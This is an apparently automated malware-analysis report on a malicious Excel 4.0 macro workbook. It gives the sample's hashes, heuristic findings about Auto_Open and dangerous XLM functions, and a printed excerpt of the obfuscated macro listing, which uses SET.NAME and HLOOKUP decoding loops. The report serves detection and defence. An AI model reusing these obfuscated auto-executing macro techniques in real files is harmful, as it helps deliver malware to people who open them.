Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 dce134a81af5bc90…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:39:33 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: 12a6bc9a7bb79a07438aa8cd7276e1bc SHA-1: 6bbe3769546cc0b8702256e80c0b8fd5a792cb05 SHA-256: dce134a81af5bc908376eeb37b2311fbd246301b2b77851ce06096e2b10117ab
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6696 bytes
SHA-256: 95397399655080d732d6fbf21f9b2f1d39d81d983a527c078c15be901ccab3aa
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  eUdAqcIp
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G154 
' 0018     27 LABEL : Cell Value, String Constant - cJfhbrfLNwlp len=0 
' 0018     23 LABEL : Cell Value, String Constant - CRbqvjEF len=0 
' 0018     27 LABEL : Cell Value, String Constant - EAuOqMgkDbmU len=0 
' 0018     20 LABEL : Cell Value, String Constant - frSGa len=0 
' 0018     21 LABEL : Cell Value, String Constant - FyxCxT len=0 
' 0018     24 LABEL : Cell Value, String Constant - ITvXHiIdj len=0 
' 0018     20 LABEL : Cell Value, String Constant - jaxDJ len=0 
' 0018     20 LABEL : Cell Value, String Constant - jrlrJ len=0 
' 0018     23 LABEL : Cell Value, String Constant - KlrFOsQJ len=0 
' 0018     27 LABEL : Cell Value, String Constant - lCyhANsVGuGK len=0 
' 0018     20 LABEL : Cell Value, String Constant - LnXzK len=0 
' 0018     26 LABEL : Cell Value, String Constant - oHsnFvHQoHe len=0 
' 0018     23 LABEL : Cell Value, String Constant - QwhEyoZG len=0 
' 0018     21 LABEL : Cell Value, String Constant - RGJFvQ len=0 
' 0018     23 LABEL : Cell Value, String Constant - SFPlgjUT len=0 
' 0018     25 LABEL : Cell Value, String Constant - sMcvoIuqzP len=0 
' 0018     21 LABEL : Cell Value, String Constant - SrhVrO len=0 
' 0018     22 LABEL : Cell Value, String Constant - VhZPwci len=0 
' 0018     21 LABEL : Cell Value, String Constant - vPHduY len=0 
' 0018     21 LABEL : Cell Value, String Constant - xjBAVS len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  eUdAqcIp,S40,"",637.00000000000000000000
'  eUdAqcIp,S41,"",578.00000000000000000000
'  eUdAqcIp,S42,"",630.00000000000000000000
'  eUdAqcIp,S43,"",726.00000000000000000000
'  eUdAqcIp,S44,"",-447.00000000000000000000
'  eUdAqcIp,S45,"",974.00000000000000000000
'  eUdAqcIp,G60,"SET.NAME("VhZPwci",0+VALUE("0"))",""
'  eUdAqcIp,G62,"SET.NAME("LnXzK",VhZPwci)",""
'  eUdAqcIp,G64,"SET.NAME("EAuOqMgkDbmU",VhZPwci)",""
'  eUdAqcIp,G66,"SET.NAME("jrlrJ",COUNTA(QwhEyoZG))",""
'  eUdAqcIp,G69,"SET.NAME("jaxDJ",COUNTA(SrhVrO))",""
'  eUdAqcIp,G71,[],""
'  eUdAqcIp,G74,"SET.NAME("lCyhANsVGuGK","")",""
'  eUdAqcIp,G77,"LnXzK",""
'  eUdAqcIp,G82,"SET.NAME("ITvXHiIdj",HLOOKUP("*",QwhEyoZG,LnXzK,FALSE))",""
'  eUdAqcIp,G87,"xjBAVS",""
'  eUdAqcIp,G92,"SET.NAME("KlrFOsQJ",VhZPwci)",""
'  eUdAqcIp,G97,[],""
'  eUdAqcIp,G101,"KlrFOsQJ",""
'  eUdAqcIp,G106,"cJfhbrfLNwlp",""
'  eUdAqcIp,G109,"sMcvoIuqzP",""
'  eUdAqcIp,G112,"RGJFvQ",""
'  eUdAqcIp,G116,"SET.NAME("CRbqvjEF",VALUE(HLOOKUP("*",SrhVrO,RGJFvQ,FALSE)))",""
'  eUdAqcIp,G121,"oHsnFvHQoHe",""
'  eUdAqcIp,G124,"lCyhANsVGuGK",""
'  eUdAqcIp,G128,"EAuOqMgkDbmU",""
'  eUdAqcIp,G132,NEXT(),""
'  eUdAqcIp,G137,"vPHduY",""
'  eUdAqcIp,G139,[],""
'  eUdAqcIp,G143,"frSGa",""
'  eUdAqcIp,G146,NEXT(),""
'  eUdAqcIp,G150,RETURN(),""
'  eUdAqcIp,G177,"SET.NAME("FyxCxT",G60)",""
'  eUdAqcIp,G180,"QwhEyoZG",""
'  eUdAqcIp,G183,"SET.NAME("SrhVrO",R58C15)",""
'  eUdAqcIp,G187,"SET.NAME("frSGa",197)",""
'  eUdAqcIp,G192,"SET.NAME("SFPlgjUT",7)",""
'  eUdAqcIp,G196,FyxCxT(),""
'  eUdAqcIp,G197,HALT(),""

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